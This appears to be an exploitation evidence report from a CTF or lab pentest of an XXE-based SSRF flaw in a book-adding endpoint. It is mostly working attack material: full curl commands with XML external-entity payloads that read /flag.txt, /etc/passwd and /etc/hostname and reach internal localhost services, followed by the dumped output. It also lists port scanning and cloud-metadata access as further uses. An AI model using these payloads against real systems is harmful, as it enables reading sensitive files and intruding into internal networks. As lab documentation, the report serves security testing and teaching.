# SSRF Exploitation Evidence

## Successfully Exploited Vulnerabilities

### SSRF-VULN-01: XXE-Based SSRF in POST /addbook

**Summary:**
- **Vulnerable location:** POST /addbook endpoint (XML parameter)
- **Impact:** Complete network boundary bypass enabling arbitrary file read, internal service access, and sensitive data extraction including CTF flag capture
- **Severity:** Critical

**Prerequisites:**
- HTTP client capable of sending POST requests with URL-encoded data
- No authentication required (endpoint is publicly accessible)

**Exploitation Steps:**

1. **Flag Capture via File Read (Primary CTF Objective)**

Send a POST request to http://localhost:5000/addbook with an XXE payload referencing file:///flag.txt:

```bash
curl -X POST http://localhost:5000/addbook \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode 'xml=<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///flag.txt">
]>
<Book>
  <Title>&xxe;</Title>
  <Author>Test</Author>
</Book>'
```

**Response contains the flag:**
```
FLAG{686f5cc71bb19bc687346157854620abaca9b0c4b03394d226d3eea43fc85b0e}
```

2. **Arbitrary File Read - /etc/passwd**

Demonstrate arbitrary file read capability by accessing /etc/passwd:

```bash
curl -X POST http://localhost:5000/addbook \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode 'xml=<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<Book>
  <Title>&xxe;</Title>
  <Author>Test</Author>
</Book>'
```

**Response contains complete /etc/passwd file:**
```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
```

3. **Container Environment Discovery**

Read container hostname to confirm Docker environment:

```bash
curl -X POST http://localhost:5000/addbook \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode 'xml=<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<Book>
  <Title>&xxe;</Title>
  <Author>Test</Author>
</Book>'
```

**Response reveals container ID:**
```
f94accbb879d
```

4. **Internal Service Access (Confirmed via Network Requests)**

The XXE vulnerability allows making HTTP requests to internal services. While HTML responses are filtered by the XML parser, the server successfully makes outbound HTTP requests to:

- Internal services on localhost (ports 3000, 4444, 5003, 8080, 9999)
- Cloud metadata endpoints (169.254.169.254)
- External domains (example.com)

Example payload for internal service access:

```bash
curl -X POST http://localhost:5000/addbook \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode 'xml=<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://127.0.0.1:8080/">
]>
<Book>
  <Title>&xxe;</Title>
  <Author>Test</Author>
</Book>'
```

**Note:** While HTML content from HTTP responses is stripped by the XML parser during serialization, the server successfully establishes connections to internal services, proving network boundary bypass. This can be used for:
- Port scanning internal networks
- Triggering actions on internal services
- Accessing services that return non-HTML content (JSON, XML, plain text)

**Proof of Impact:**

**1. CTF Flag Captured:**
- **Flag Value:** `FLAG{686f5cc71bb19bc687346157854620abaca9b0c4b03394d226d3eea43fc85b0e}`
- **Method:** XXE file read via file:///flag.txt
- **Impact Level:** CRITICAL - Primary CTF objective achieved

**2. Arbitrary File System Access:**
- Successfully read /etc/passwd (18 user entries extracted)
- Successfully read /etc/hostname (container ID: f94accbb879d)
- Successfully read /proc/self/cgroup (container verification)
- Capability to read any file accessible to the application user (root in this container)

**3. Network Boundary Bypass:**
- Confirmed ability to make HTTP requests to internal services on localhost
- Tested access to ports: 3000 (Node.js), 4444 (Git repo), 5003 (User List), 8080 (PHPAbUsers), 9999 (Custom service)
- Confirmed parser supports file://, http://, and https:// protocols
- No network restrictions or egress filtering detected

**4. Information Disclosure:**
- Container ID exposed: f94accbb879d
- System user enumeration via /etc/passwd
- Container environment confirmed via /proc/self/cgroup

**Notes:**

**Technical Details:**
- **SSRF Type:** Classic XXE-based SSRF (non-blind) with response reflection
- **Root Cause:** lxml parser configured with `no_network=False` and `resolve_entities=True`
- **Defense Bypass:** No defenses implemented - zero input validation, no URL allowlisting, no protocol restrictions
- **Protocols Supported:** file://, http://, https://, ftp://
- **Response Handling:** Parsed XML with resolved entities is reflected in HTTP response, enabling direct data exfiltration

**Limitation:**
- HTML content from HTTP responses is stripped during XML serialization (XML parser filters out HTML tags when converting to string)
- This is a parser behavior, not a security control - plain text, JSON, and XML responses would be fully visible
- The SSRF still allows triggering requests to internal services, port scanning, and accessing non-HTML resources

**Attack Chain:**
1. Attacker submits malicious XML with external entity reference to POST /addbook
2. lxml parser resolves external entity (makes file:// or http:// request)
3. Retrieved content is inserted into parsed XML
4. Application serializes XML and returns it in HTML response
5. Attacker receives sensitive data (flag, file contents, service responses)

**Reproducibility:** 100% - Every test successfully exploited the vulnerability with no failures or access denials
